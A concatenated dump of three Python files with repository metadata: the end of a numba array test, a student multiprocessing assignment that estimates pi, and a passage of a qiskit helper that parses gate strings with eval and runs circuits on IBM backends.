a.dtype\", str(raises.exception))\n\n        arr = np.zeros((3, 3), dtype=np.int32)\n        val = np.nan\n        _assert_raises(arr, val)\n\n        val = [3.3, np.inf]\n        _assert_raises(arr, val)\n\n        val = np.array([1, 2, 1e10], dtype=np.int64)\n        _assert_raises(arr, val)\n\n        arr = np.zeros((3, 3), dtype=np.float32)\n        val = [1.4, 2.6, -1e100]\n        _assert_raises(arr, val)\n\n        val = 1.1e100\n        _assert_raises(arr, val)\n\n        val = np.array([-1e100])\n        _assert_raises(arr, val)\n\n\nif __name__ == '__main__':\n    unittest.main()\n", "meta": {"hexsha": "132ee9b96c82f15e7599daaa3ed3e0b287863845", "size": 23352, "ext": "py", "lang": "Python", "max_stars_repo_path": "numba/tests/test_array_manipulation.py", "max_stars_repo_name": "henryiii/numba", "max_stars_repo_head_hexsha": "3618091896cb54c6b8d442c290cfe5f9480f6e89", "max_stars_repo_licenses": ["BSD-2-Clause"], "max_stars_count": 6, "max_stars_repo_stars_event_min_datetime": "2021-10-30T09:00:55.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-07T16:33:25.000Z", "max_issues_repo_path": "numba/tests/test_array_manipulation.py", "max_issues_repo_name": "henryiii/numba", "max_issues_repo_head_hexsha": "3618091896cb54c6b8d442c290cfe5f9480f6e89", "max_issues_repo_licenses": ["BSD-2-Clause"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2019-05-01T20:39:46.000Z", "max_issues_repo_issues_event_max_datetime": "2019-05-07T03:43:29.000Z", "max_forks_repo_path": "numba/tests/test_array_manipulation.py", "max_forks_repo_name": "jdburnet/numba", "max_forks_repo_head_hexsha": "e8ac4951affacd25c63ba2c18d62a3f12ed7e0ba", "max_forks_repo_licenses": ["BSD-2-Clause"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2022-03-16T11:33:50.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-16T11:33:50.000Z", "avg_line_length": 32.7517531557, "max_line_length": 102, "alphanum_fraction": 0.5793508051, "include": true, "reason": "import numpy,import numba,from numba", "num_tokens": 6011, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.47268347662043275, "lm_q2_score": 0.12592277303570515, "lm_q1q2_score": 0.059521614144202796}}
{"text": "import logging\nimport traceback\nimport os\nfrom typing import Dict\nfrom math import ceil\nfrom itertools import repeat, takewhile\n\nimport multiprocessing\nimport numpy as np\n\nfrom playground.main import get_args\nfrom playground import ColorizedLogger, Configuration, timeit\n\n# Create loggers with different colors to use in each problem\nmain_logger = ColorizedLogger('Main', 'yellow')\np1_logger = ColorizedLogger('Problem1', 'blue')\np2_logger = ColorizedLogger('Problem2', 'green')\np3_logger = ColorizedLogger('Problem3', 'magenta')\nextra_ch_logger = ColorizedLogger('ExtraMain', 'yellow')\nextra_sub_ch_logger = ColorizedLogger('ExtraSub', 'cyan')\n\n\n# Global Vars (For the Extra Challenges)\n# lock: multiprocessing.Lock\n# multi_list: List = []\n\n\ndef my_pid(x: int) -> None:\n    \"\"\" Problem 1 function to be called using pool.map\n\n    Parameters:\n        x: the id of the worker\n    \"\"\"\n\n    pid = os.getpid()\n    p1_logger.info(f\"Hi, I\u2019m worker {x} (with {pid})\")\n\n\ndef problem1(conf: Dict) -> None:\n    \"\"\" Problem 1 solution\n\n    Parameters:\n         conf: The config loaded from the yml file\n            Example:\n                properties:\n                  pool_size: 4\n                  chunk_size: 1\n                  x_min: 0\n                  x_max: 9\n                conf_type: required\n    \"\"\"\n\n    p1_logger.info(\"Starting Problem 1..\")\n    conf_props = conf['properties']\n    # Generate iterable from `x_min` to `x_max`\n    xs = range(conf_props[\"x_min\"], conf_props[\"x_max\"] + 1)\n    p1_logger.info(f\"Pool Size: {conf_props['pool_size']}: Will call `my_pid` for x in {tuple(xs)}\")\n    # Call my_pid() using pool.map()\n    with multiprocessing.Pool(processes=conf_props['pool_size']) as pool:\n        # https://docs.python.org/3/library/multiprocessing.html#multiprocessing.pool.Pool.map\n        pool.map(func=my_pid,\n                 iterable=xs,\n                 chunksize=conf_props['chunk_size'])\n\n\n# Call the timeit wrapper from main.py and pass it a custom string to print\n# It already supports string formatting for func_name`, `args`, and `duration`\n# To reference the first positional argument of the function I wrap, I can use {0}\n@timeit(custom_print='N={0}: Calculation of pi took: {duration:2.5f} sec(s) total')\ndef py_pi(N: int, real_pi: float) -> None:\n    \"\"\" Problem 2 function to be called using pool.starmap\n\n    Parameters:\n        N: Number of terms to be used to calculate pi\n        real_pi: Correct value of pi\n    \"\"\"\n\n    # Construct the equation\n    first_term = (4 / N)\n    list_to_be_summed = [1 / (1 + ((i - 0.5) / N) ** 2) for i in range(1, N + 1)]\n    second_term = sum(list_to_be_summed)\n    calced_pi = first_term * second_term\n    # Calculate the absolute difference between the calculated pi and real value of pi\n    pi_diff = abs(real_pi - calced_pi)\n    p2_logger.info(f\"N={N}: Pi({N}) = {calced_pi} (Real is {real_pi}, difference is {pi_diff})\")\n\n\ndef problem2(conf: Dict) -> None:\n    \"\"\" Problem 2 solution\n\n    Parameters:\n         conf: The config loaded from the yml file\n            Example:\n                properties:\n                  pool_size: 4\n                  chunk_size: 1\n                  num_terms_min: 10\n                  num_terms_step: 5\n                  num_terms_max: 3906250\n                conf_type: required\n\n    \"\"\"\n\n    p2_logger.info(\"Starting Problem 2..\")\n    real_pi = np.pi\n    conf_props = conf['properties']\n    # Generate iterable with number of terms to be used\n    # Lambda function that multiplies each element by 5 in the power of the element's index\n    # e.g. [(10, 0), (10, 1), (10, 2)] -> [10*5^0, 10*5^1, 10*5^2]\n    # the first ind_and_num would be (10, 0)\n    multiplied_series = lambda ind_and_num: (ind_and_num[1] *\n                                             (conf_props[\"num_terms_step\"] ** (ind_and_num[0])))\n    # Map an infinite enumerated iterable of (index, 10) to the lambda function\n    # Stop when the series exceeds 3906250\n    num_terms_range = takewhile(lambda series_el: series_el <= conf_props[\"num_terms_max\"],\n                                map(multiplied_series, enumerate(repeat(conf_props[\"num_terms_min\"]))))\n    num_terms_range = tuple(num_terms_range)  # I only do this because I want to print them\n    # Create the iterable of arguments to be passed to py_pi using pool.starmap()\n    # repeat() propagates the same `real_pi` value as many times as necessary\n    # to zip it with num_terms_range\n    args = zip(num_terms_range, repeat(real_pi))\n    p2_logger.info(f\"Will call `py_pi` for N in {tuple(num_terms_range)}\")\n    # Call py_pi() using pool.starmap() (starmap accepts iterable with multiple arguments)\n    with multiprocessing.Pool(processes=conf_props['pool_size']) as pool:\n        # https://docs.python.org/3/library/multiprocessing.html#multiprocessing.pool.Pool.map\n        pool.starmap(func=py_pi,\n                     iterable=args,\n                     chunksize=conf_props['chunk_size'])\n\n\ndef py_pi_better(N: int, i_start: int, i_stop: int) -> float:\n    \"\"\" Problem 3 function to be called using pool.starmap\n\n    Parameters:\n        N: Number of terms to be used to calculate pi\n        i_start: The starting index of the sum used in pi's approximation\n        i_stop: The ending index of the sum used in pi's approximation\n    Returns:\n        partial_calced_pi: The part of pi's approximation calculated\n    \"\"\"\n\n    # Construct the equation\n    first_term = (4 / N)\n    list_to_be_summed = [1 / (1 + ((i - 0.5) / N) ** 2) for i in range(i_start, i_stop + 1)]\n    second_term = sum(list_to_be_summed)\n    cacled_pi = first_term * second_term\n    return cacled_pi\n\n\ndef problem3(conf: Dict) -> None:\n    \"\"\" Problem 3 solution\n\n    Parameters:\n         conf: The config loaded from the yml file\n            Example:\n                properties:\n                  pool_size: 4\n                  chunk_size: 1\n                  num_terms:\n                    - 100\n                    - 500\n                    - 1000\n                    - 2000\n                    - 10000\n                    - 50000\n                conf_type: required\n    \"\"\"\n\n    p3_logger.info(\"Starting Problem 3..\")\n    conf_props = conf['properties']\n    p3_logger.info(f\"Will call `py_pi_better` for N in {tuple(conf_props['num_terms'])}\")\n    # Run the pi calculation once for each number of terms requested in the yml\n    for num_term in conf_props[\"num_terms\"]:\n        # Split the work of `num_terms` into `pool_size` number of parts\n        step = ceil(num_term / conf_props[\"pool_size\"])\n        i_start = range(1, num_term, step)\n        i_stop = map(lambda el: el + step - 1 if el + step - 1 <= num_term else num_term, i_start)\n        # Zip N with the i_start and i_stop iterables. Propagate the same N value using repeat\n        args = zip(repeat(num_term), i_start, i_stop)\n        # Call py_pi_better() using pool.starmap() (starmap accepts iterable with multiple arguments)\n        with multiprocessing.Pool(processes=conf_props['pool_size']) as pool:\n            # timeit can be used as a context manager too. Pass it a custom string and count the\n            # total time to calculate pi\n            custom_string = f'N={num_term}: Parallel calculation of pi took: ' + \\\n                            '{duration:2.5f} sec(s) total'\n            with timeit(custom_print=custom_string):\n                # https://docs.python.org/3/library/multiprocessing.html#multiprocessing.pool.Pool.map\n                pi_chunks = pool.starmap(func=py_pi_better,\n                                         iterable=args,\n                                         chunksize=conf_props['chunk_size'])\n                calced_pi = sum(pi_chunks)\n        real_pi = np.pi\n        pi_diff = abs(real_pi - calced_pi)\n        p3_logger.info(f\"N={num_term}: Pi({num_term}) = {calced_pi} (Real is {real_pi}, \"\n                       f\"difference is {pi_diff})\")\n\n\ndef extra_1(conf_props: Dict):\n    \"\"\" Extra Challenge 1 solution\n\n    Parameters:\n         conf_props: The config loaded from the yml file\n            Example:\n                pool_sizes:\n                  - 2\n                  - 4\n                  - 8\n                  - 16\n                  - 32\n                chunk_size: 1\n                num_term: 8000000\n    \"\"\"\n\n    num_term = int(conf_props[\"num_term\"])\n    extra_ch_logger.info(\"Will call `py_pi_better` for pool_size in \"\n                         f\"{tuple(conf_props['pool_sizes'])}\")\n    for pool_size in conf_props[\"pool_sizes\"]:\n        pool_size = int(pool_size)\n        # Slightly modified code from problem 3\n        extra_sub_ch_logger.info(f\"Pool Size={pool_size}: Calling workers for N={num_term}\")\n        step = ceil(num_term / pool_size)\n        i_start = range(1, num_term, step)\n        i_stop = map(lambda el: el + step - 1 if el + step - 1 <= num_term else num_term, i_start)\n        args = zip(repeat(num_term), i_start, i_stop)\n        with multiprocessing.Pool(processes=pool_size) as pool:\n            custom_string = f'Pool Size={pool_size}: Calculation of pi for N={num_term} took: ' + \\\n                            '{duration:2.5f} sec(s) total'\n            with timeit(custom_print=custom_string):\n                pi_chunks = pool.starmap(func=py_pi_better,\n                                         iterable=args,\n                                         chunksize=conf_props['chunk_size'])\n                calced_pi = sum(pi_chunks)\n        real_pi = np.pi\n        pi_diff = abs(real_pi - calced_pi)\n        extra_sub_ch_logger.info(f\"Pool Size={pool_size}: Pi({num_term}) = {calced_pi} \"\n                                 f\"(Real is {real_pi}, difference is {pi_diff})\")\n\n\ndef py_pi_better_with_queue(N: int, i_start: int, i_stop: int,\n                            m_queue: multiprocessing.Queue) -> None:\n    \"\"\" Extra Challenge 2 function to be called using pool.call_async\n\n    Parameters:\n        N: Number of terms to be used to calculate pi\n        i_start: The starting index of the sum used in pi's approximation\n        i_stop: The ending index of the sum used in pi's approximation\n        m_queue: A queue in which to append the results\n    \"\"\"\n\n    # Construct the equation\n    first_term = (4 / N)\n    list_to_be_summed = [1 / (1 + ((i - 0.5) / N) ** 2) for i in range(i_start, i_stop + 1)]\n    second_term = sum(list_to_be_summed)\n    cacled_pi = first_term * second_term\n    m_queue.put(cacled_pi)\n\n\ndef extra_2(conf_props: Dict):\n    \"\"\" Extra Challenge 2 solution\n\n    Parameters:\n         conf_props: The config loaded from the yml file\n            Example:\n                pool_sizes:\n                  - 2\n                  - 4\n                  - 8\n                  - 16\n                  - 32\n                num_term: 8000000\n    \"\"\"\n\n    num_term = int(conf_props[\"num_term\"])\n\n    extra_ch_logger.info(\"Will call `py_pi_better_with_queue` for pool_size in \"\n                         f\"{tuple(conf_props['pool_sizes'])}\")\n    for pool_size in conf_props[\"pool_sizes\"]:\n        pool_size = int(pool_size)\n        # Create a multiprocessing manager and a Queue\n        multi_manager = multiprocessing.Manager()\n        multi_queue = multi_manager.Queue()\n        # Slightly modified code from problem 3\n        extra_sub_ch_logger.info(f\"Pool Size={pool_size}: Calling Async workers for N={num_term}\")\n        step = ceil(num_term / pool_size)\n        i_start = range(1, num_term, step)\n        i_stop = map(lambda el: el + step - 1 if el + step - 1 <= num_term else num_term, i_start)\n        args = zip(repeat(num_term), i_start, i_stop, repeat(multi_queue))\n        # Setup manually a Pool\n        custom_string = f'Pool Size={pool_size}: Calculation of pi for N={num_term} and  ' + \\\n                        'took: {duration:2.5f} sec(s) total'\n        with timeit(custom_print=custom_string):\n            pool = multiprocessing.Pool(processes=pool_size)\n            pool.starmap_async(func=py_pi_better_with_queue, iterable=args)\n            pi_chunks = []\n            while len(pi_chunks) < pool_size:\n                pi_chunks.append(multi_queue.get())\n            calced_pi = sum(pi_chunks)\n        real_pi = np.pi\n        pi_diff = abs(real_pi - calced_pi)\n        extra_sub_ch_logger.info(f\"Pool Size={pool_size}: Pi({num_term}) = {calced_pi}\"\n                                 f\"(Real is {real_pi}, difference is {pi_diff})\")\n        pool.close()\n        pool.join()\n\n\ndef init(_lock, _multi_list):\n    global lock\n    global multi_list\n    lock = _lock\n    multi_list = _multi_list\n\n\ndef py_pi_better_with_list(N: int, i_start: int, i_stop: int) -> None:\n    \"\"\" Extra Challenge 2 function to be called using pool.call_async\n\n    Parameters:\n        N: Number of terms to be used to calculate pi\n        i_start: The starting index of the sum used in pi's approximation\n        i_stop: The ending index of the sum used in pi's approximation\n    \"\"\"\n\n    # Construct the equation\n    first_term = (4 / N)\n    list_to_be_summed = [1 / (1 + ((i - 0.5) / N) ** 2) for i in range(i_start, i_stop + 1)]\n    second_term = sum(list_to_be_summed)\n    cacled_pi = first_term * second_term\n    lock.acquire()\n    multi_list.append(cacled_pi)\n    lock.release()\n\n\ndef extra_3(conf_props: Dict):\n    \"\"\" Extra Challenge 3 solution\n\n    Parameters:\n         conf_props: The config loaded from the yml file\n    \"\"\"\n\n    num_term = int(conf_props[\"num_term\"])\n\n    extra_ch_logger.info(\"Will call `py_pi_better_with_list` for pool_size in \"\n                         f\"{tuple(conf_props['pool_sizes'])}\")\n    for pool_size in conf_props[\"pool_sizes\"]:\n        pool_size = int(pool_size)\n        # Create a multiprocessing manager and a Queue\n        manager = multiprocessing.Manager()\n        multi_list = manager.list()\n        _lock = multiprocessing.Lock()\n        # Slightly modified code from problem 3\n        extra_sub_ch_logger.info(f\"Pool Size={pool_size}: Calling Async workers for N={num_term}\")\n        step = ceil(num_term / pool_size)\n        i_start = range(1, num_term, step)\n        i_stop = map(lambda el: el + step - 1 if el + step - 1 <= num_term else num_term, i_start)\n        args = zip(repeat(num_term), i_start, i_stop)\n        # Setup manually a Pool\n        custom_string = f'Pool Size={pool_size}: Calculation of pi for N={num_term} and  ' + \\\n                        'took: {duration:2.5f} sec(s) total'\n        with timeit(custom_print=custom_string):\n            pool = multiprocessing.Pool(initializer=init, initargs=(_lock, multi_list),\n                                        processes=pool_size)\n            pool.starmap_async(func=py_pi_better_with_queue, iterable=args)\n            pi_chunks = []\n            while len(multi_list) < pool_size:\n                pi_chunks = multi_list\n            calced_pi = sum(pi_chunks)\n        real_pi = np.pi\n        pi_diff = abs(real_pi - calced_pi)\n        extra_sub_ch_logger.info(f\"Pool Size={pool_size}: Pi({num_term}) = {calced_pi}\"\n                                 f\"(Real is {real_pi}, difference is {pi_diff})\")\n        pool.close()\n        pool.join()\n\n\ndef extra_challenges(conf: Dict) -> None:\n    \"\"\" Extra Challenges solution\n\n    Parameters:\n         conf: The config loaded from the yml file\n            Example: Examples of each sub-config in each problem's function\n    \"\"\"\n\n    extra_ch_logger.info(\"Starting the Extra Challenges..\")\n    # Run all the extra challenge that have the property enabled: True\n    if conf['properties'][\"ch1\"][\"enabled\"]:\n        extra_ch_logger.info(\"1: Test performance for different pool sizes.\")\n        extra_1(conf['properties'][\"ch1\"])\n    if conf['properties'][\"ch2\"][\"enabled\"]:\n        extra_ch_logger.info(\"2: Collect results from workers using multiprocessing list \"\n                             \"(using starmap_async).\")\n        extra_2(conf['properties'][\"ch2\"])\n    if conf['properties'][\"ch3\"][\"enabled\"]:\n        extra_ch_logger.info(\"3: Collect results from workers using a pythonic list \"\n                             \"(using starmap_async and Lock()).\")\n        extra_3(conf['properties'][\"ch3\"])\n    else:\n        extra_ch_logger.info(\"3: Collect results from workers using a pythonic list \"\n                             \"(using starmap_async and Lock()).\")\n        extra_ch_logger.info(\"Last progress report:\")\n        extra_ch_logger.info(\"For this and the 4th problem, I managed to create a Lock() and share it\")\n        extra_ch_logger.info(\"with the workers by creating an initializer function for the Pool().\")\n        extra_ch_logger.info(\"The problem was that when I did the same with the multiprocessing \"\n                             \"List() or Array(), \")\n        extra_ch_logger.info(\"I wasn't able to access them from the function that spawned them.\")\n\n\n@timeit()\ndef main():\n    \"\"\" This is the main function of assignment.py\n\n    Example:\n        python assignment1/assignment.py \\\n            -c ../confs/assignment1.yml \\\n            -l ../logs/assignment.log\n    \"\"\"\n\n    # Initialize\n    args = get_args()\n    ColorizedLogger.setup_logger(args.log, args.debug)\n    main_logger.info(\"Starting Assignment 1\")\n    # Load the configuration\n    conf = Configuration(config_src=args.config_file)\n    # Start the problems defined in the configuration\n    main_logger.info(f\"{' Required Problems ':-^{100}}\")\n    check_required = lambda conf_type, tag: ((conf_type == 'required' or tag != 'required_only')\n                                             and conf_type != 'disabled')\n    # For each problem present in the config file, call the appropriate function\n    if 'problem1' in conf.config_keys:\n        for bench_conf in conf.get_config(config_name='problem1'):\n            if check_required(bench_conf['type'], conf.tag):\n                problem1(bench_conf)\n    if 'problem2' in conf.config_keys:\n        for bench_conf in conf.get_config(config_name='problem2'):\n            if check_required(bench_conf['type'], conf.tag):\n                problem2(bench_conf)\n    if 'problem3' in conf.config_keys:\n        for bench_conf in conf.get_config(config_name='problem3'):\n            if check_required(bench_conf['type'], conf.tag):\n                problem3(bench_conf)\n    # Run the extra challenges if the tag of the conf is not set as \"required_only\"\n    main_logger.info(f\"{' Optional Problems ':-^{100}}\")\n    if 'extra_challenges' in conf.config_keys:\n        for bench_conf in conf.get_config(config_name='extra_challenges'):\n            if check_required(bench_conf['type'], conf.tag):\n                extra_challenges(bench_conf)\n    main_logger.info(\"Assignment 1 Finished\")\n\n\nif __name__ == '__main__':\n    try:\n        main()\n    except Exception as e:\n        logging.error(str(e) + '\\n' + str(traceback.format_exc()))\n        raise e\n", "meta": {"hexsha": "5651f01a033d1cd5ff222b646e2350f4e3f392d0", "size": 18681, "ext": "py", "lang": "Python", "max_stars_repo_path": "assignment1/assignment1.py", "max_stars_repo_name": "drkostas/DSE512-playground", "max_stars_repo_head_hexsha": "1e47ae2878cc9f3f00fdbd81626189657d642061", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "assignment1/assignment1.py", "max_issues_repo_name": "drkostas/DSE512-playground", "max_issues_repo_head_hexsha": "1e47ae2878cc9f3f00fdbd81626189657d642061", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 17, "max_issues_repo_issues_event_min_datetime": "2021-02-15T01:43:46.000Z", "max_issues_repo_issues_event_max_datetime": "2021-05-04T02:32:32.000Z", "max_forks_repo_path": "assignment1/assignment1.py", "max_forks_repo_name": "drkostas/DSE512-playground", "max_forks_repo_head_hexsha": "1e47ae2878cc9f3f00fdbd81626189657d642061", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 41.1475770925, "max_line_length": 103, "alphanum_fraction": 0.6123869172, "include": true, "reason": "import numpy", "num_tokens": 4462, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4726834766204328, "lm_q2_score": 0.12592276811536138, "lm_q1q2_score": 0.059521611818437604}}
{"text": "import qiskit, time\r\nfrom numpy import pi\r\n# define pi so that in string gates we can have pi as an angle.\r\n# Because we use eval for string gates. For example, gate = \"rz(pi/2, 1)\".\r\n\r\nname = \"IBM\"\r\n\r\nsimulators = simulator, unitary_simulator, state_simulator = (\r\n    \"qasm_simulator\", \"unitary_simulator\", \r\n    \"statevector_simulator\"\r\n)\r\n\r\nquantum_computer = \"ibmqx4\"\r\n\r\n\r\ndef apply_credentials():\r\n    print(\"\\nApplying credentials...\\n\")\r\n#    with open(\"qSonify/qc/APItoken.txt\") as f: APItoken = f.read().strip()\r\n    \r\n    try:\r\n#        qiskit.IBMQ.enable_account(APItoken)\r\n        qiskit.IBMQ.load_accounts()\r\n    \r\n        print('Available backends:')\r\n        print(qiskit.IBMQ.backends())\r\n        print(qiskit.Aer.backends())\r\n        print(\"\\nCredientials applied\\n\")\r\n    except:\r\n        print('Something went wrong.\\nDid you enter a correct token?')\r\n\r\n\r\n#### String algorithm methods ####\r\n\r\n# With this, we can write an algorithm as a list with any of the keys in\r\n# GATE_ARGUMENTS. So, for example,\r\n#   alg = [\"H(0)\", \"RX(pi/2, 1)\", \"CX(1, 2)\", \"u3(pi/2, pi/4, .2, 0)\"]\r\n# then apply it to a qiskit.QuantumCircuit and qiskit.QuantumRegister qc and r\r\n# respectively by calling \r\n#   apply_string_algorithm(alg, r, qc).\r\n\r\np = lambda x: (\"reg[%d]\",)*x\r\na = lambda x: (\"%g\",)*x\r\nb = lambda x, y: \"(\" + \", \".join(a(x)+p(y)) + \")\"\r\n\r\n\r\nGATE_PARAMS = { ## The first number is the number of parameters,\r\n                ## The second number is the number of qubit arguments.\r\n    \"ccx\": (0, 3), \"ch\": (0, 2), \"crz\": (1, 2), \"cswap\": (0, 3), \"cu1\": (1, 2),\r\n    \"cu3\": (3, 2), \"cx\": (0, 2), \"cx_base\": (0, 2), \"cy\": (0, 2), \"cz\": (0, 2),\r\n    \"h\": (0, 1), \"iden\": (0, 1), \"rx\": (1, 1), \"ry\": (1, 1), \"rz\": (1, 1),\r\n    \"rzz\": (1, 2), \"s\": (0, 1), \"sdg\": (0, 1), \"swap\": (0, 2), \"t\": (0, 1), \r\n    \"tdg\": (0, 1), \"u0\": (1, 1), \"u1\": (1, 1), \"u2\": (2, 1), \"u3\": (3, 1),\r\n    \"u_base\": (3, 1), \"x\": (0, 1), \"y\": (0, 1), \"z\": (0, 1),\r\n}\r\n\r\nGATE_ARGUMENTS = {gate: b(*args) for gate, args in GATE_PARAMS.items()}\r\nGATE_ARGUMENTS[\"measure\"] = \"(reg[%d], c_reg[%d])\" \r\n\r\n\r\ndef get_gate_info(gate):\r\n    \"\"\"\r\n    gate: str, string gate. ie H(0), or \"cx(1, 0)\".\r\n    returns: tuple, (gate_name (str), gate_args (tuple)).\r\n    \"\"\"\r\n    gate = gate.strip().lower().replace(\"cnot\", \"cx\")\r\n    i = gate.index(\"(\")\r\n    gate_name, gate_args = gate[:i], eval(gate[i:])\r\n    try: len(gate_args)\r\n    except TypeError: gate_args = gate_args,\r\n    return gate_name, gate_args\r\n\r\n\r\ndef get_num_qubits(algorithm):\r\n    \"\"\"\r\n    Determine the max qubit value used in the algorithm.\r\n    \r\n    algorithm: iterable, each element must be a string gate, as in \r\n                     apply_string_gate above.\r\n                     ie, algorithm = [\"h(0)\", \"cx(0, 1)\", \"rx(pi/4, 1)\",..]\r\n                     \r\n    returns: int, max qubit value in algorithm.\r\n    \"\"\"\r\n    n = -1\r\n    for gate in algorithm:\r\n        gate_name, gate_args = get_gate_info(gate)\r\n        if gate_name == \"measure\": m = gate_args[0]\r\n#        elif sum(GATE_PARAMS[gate_name]) == 1: m = gate_args\r\n        else: m = max(gate_args[GATE_PARAMS[gate_name][0]:])\r\n        n = max(n, m)\r\n    return n + 1\r\n\r\n\r\ndef apply_string_gate(gate, reg, cir, c_reg=None):\r\n    \"\"\"\r\n    gate: str, one of the elements in GATE_ARGUMENTS.keys() + a tuple of \r\n               arguments. ie, for a rx rotation by pi/2 radians on qubit 0, \r\n               gate = \"rx(pi/2, 0)\".\r\n    reg: qiskit.QuantumRegister, register to apply gate to.\r\n    cir: qiskit.QuantumCircuit, circuit to add gate to.\r\n    c_reg: qiskit.ClassicalRegister, must be supplied if gate is a measurement.\r\n                                     Classical register to measure to.\r\n    \r\n    returns: int, if gate is a measure gate, then return the integer\r\n                  corresponding to the classical register to measure to,\r\n                  otherwise returns -1.\r\n    \"\"\"\r\n    gate_name, gate_args = get_gate_info(gate)\r\n    \r\n    # apply gate\r\n    eval(\"cir.\" + gate_name + GATE_ARGUMENTS[gate_name] % gate_args)\r\n    \r\n    # value of the classical register to measure to\r\n    if \"measure\" in gate: return gate_args[-1]\r\n    else: return -1\r\n    \r\n    \r\ndef apply_string_algorithm(algorithm, reg, cir, c_reg=None):\r\n    \"\"\"\r\n    algorithm: iterable, each element must be a string gate, as in \r\n                         apply_string_gate above.\r\n                         ie, algorithm = [\"h(0)\", \"cx(0, 1)\", \"rx(pi/4, 1)\",..]\r\n    reg: qiskit.QuantumRegister, register to apply algorithm to.\r\n    cir: qiskit.QuantumCircuit, circuit to add gates in algorithm to.\r\n    c_reg: qiskit.ClassicalRegister, must be supplied if gate is a measurement.\r\n                                     Classical register to measure to.\r\n    \r\n    returns: int, if the algorithm has any measure gates, then returns the\r\n                  integer corresponding to the largest index of the classical\r\n                  register that is measured to, otherwise returns -1.\r\n    \"\"\"\r\n    if not algorithm: return -1\r\n    return max(apply_string_gate(gate, reg, cir, c_reg) for gate in algorithm)\r\n\r\n\r\ndef _make_job(qc, backend, num_samples):\r\n    \"\"\"\r\n    Begin the execution of the circuit qc on the backend with shots=num_samples\r\n    \r\n    qc: qiskit.QuantumCircuit or list of circuits, circuits to run.\r\n    backend: str, IBM backend to run circuit on. Can be 'ibmqx4', 'ibmqx5',\r\n                  'local_qasm_simulator', 'local_unitary_simulator', etc.\r\n    num_samples: int, number of samples to take from the quantum computer in\r\n                      in order to determine the probabilities for each state.\r\n                      \r\n    returns: qiskit Job object from qiskit.backends.\r\n    \"\"\"\r\n    if backend in simulators: f = qiskit.Aer\r\n    else: f = qiskit.IBMQ\r\n    try:\r\n        return qiskit.execute(qc, backend=f.get_backend(backend), \r\n                                  shots=num_samples, max_credits=3)\r\n    except LookupError:\r\n        apply_credentials()\r\n        return qiskit.execute(qc, backend=f.get_backend(backend),\r\n                                  shots=num_samples, max_credits=3)\r\n        \r\n\r\nclass Result(dict):\r\n    \"\"\" Just a dictionary that automatically gives default values = 0.0 \"\"\"\r\n    def __getitem__(self, key):\r\n        \"\"\" Return 0.0 if key not in result dictionary \"\"\"\r\n        return self.get(key, 0.0)\r\n    \r\n\r\ndef run(algorithm, num_qubits=None, num_samples=8000, backend=simulator):\r\n    \"\"\"\r\n    Create a quantum circuit, run the algorithm, return the resulting\r\n    probability distribution.\r\n    \r\n    algorithm: algorithm (list of strings) or list of algorithms, \r\n               each string is a gate in GATE_ARGUMENTS.keys() with whatever \r\n               arguments required to define the gate.\r\n    num_qubits: int, number of qubits to run each algorithm on. Can be None,\r\n                     in which case the algorithm will be run on the minimum\r\n                     number of qubits required.\r\n    num_samples: int, number of samples to take from the quantum computer in\r\n                      in order to determine the probabilities for each state.\r\n    backend: str, IBM backend to run the algorithm on. If backend is not\r\n                  a local simulator then credentials must have already\r\n                  been applied.\r\n                  \r\n    returns: dict (common.Result), keys are states, values are probabilities \r\n                                   found to be in that state.\r\n    \"\"\"\r\n    multiple = bool(algorithm and isinstance(algorithm[0], list))\r\n    if not multiple: algorithm = [algorithm]\r\n    \r\n    n = len(algorithm)\r\n    if num_qubits is None: \r\n        num_qubits = max(get_num_qubits(a) for a in algorithm)\r\n    q = qiskit.QuantumRegister(num_qubits)\r\n    c = [qiskit.ClassicalRegister(num_qubits) for _ in range(n)]\r\n    qc = [qiskit.QuantumCircuit(q, c[j]) for j in range(n)]\r\n    for j in range(n):\r\n        i = apply_string_algorithm(algorithm[j], q, qc[j], c[j])\r\n        if i == -1: qc[j].measure(q, c[j])\r\n        else: c[j].size = i + 1\r\n        \r\n    job_exp = _make_job(qc, backend, num_samples)\r\n    \r\n    # Often there are random queue errors that have happened to \r\n    # me that cause the job to never complete. Two things I have\r\n    # encountered: I lose connection or something, and I get an\r\n    # error, or for some reason their server tells me that the\r\n    # job is running indefinitely, ie it just get stuck running.\r\n    # So if either of those things happen, we reset and\r\n    # reinitialize our job(s) into the queue.\r\n    if backend not in simulators:\r\n        lapse, interval = 0, 30\r\n        done = False\r\n        while not done:\r\n            str_status = str(job_exp.status())\r\n            queue_position = job_exp.queue_position()\r\n            error = job_exp.error_message()\r\n            print('\\nStatus @ %d seconds' % (interval * lapse))\r\n            print(\"queue position =\", queue_position)\r\n            print(str_status)\r\n            done = queue_position is not None and queue_position < 1\r\n            \r\n            if error:\r\n                print(\"\\nEncountered an error\")\r\n                print(error)\r\n                print(\"reentering job into queue\\n\")\r\n                job_exp.cancel()\r\n                job_exp = _make_job(qc, backend, num_samples)\r\n                lapse = 0\r\n                \r\n            lapse += 1\r\n            time.sleep(interval)\r\n            \r\n    res = job_exp.result()\r\n    \r\n    ## qiskit orders their bits opposite to Cirq nad ProjectQ, and in my\r\n    ## opinion in a much less intuitive way. So I flip the order of the bits\r\n    ## here.\r\n    if multiple:\r\n        return [\r\n            Result(\r\n                {k[::-1]: v/num_samples \r\n                 for k, v in res.get_counts(cir).items()}\r\n            ) for cir in qc\r\n        ]\r\n    else:\r\n        return Result(\r\n            {k[::-1]: v/num_samples for k, v in res.get_counts(qc[0]).items()}\r\n        )\r\n        \r\n        \r\ndef algorithm_unitary(algorithm, num_qubits=None):\r\n    \"\"\"\r\n    Find the unitary corresponding to the algorithm.\r\n    \r\n    algorithm: list of strings, each string is a gate in GATE_ARGUMENTS.keys()\r\n                                with whatever arguments required to define the \r\n                                gate.\r\n    num_qubits: int, number of qubits to run the 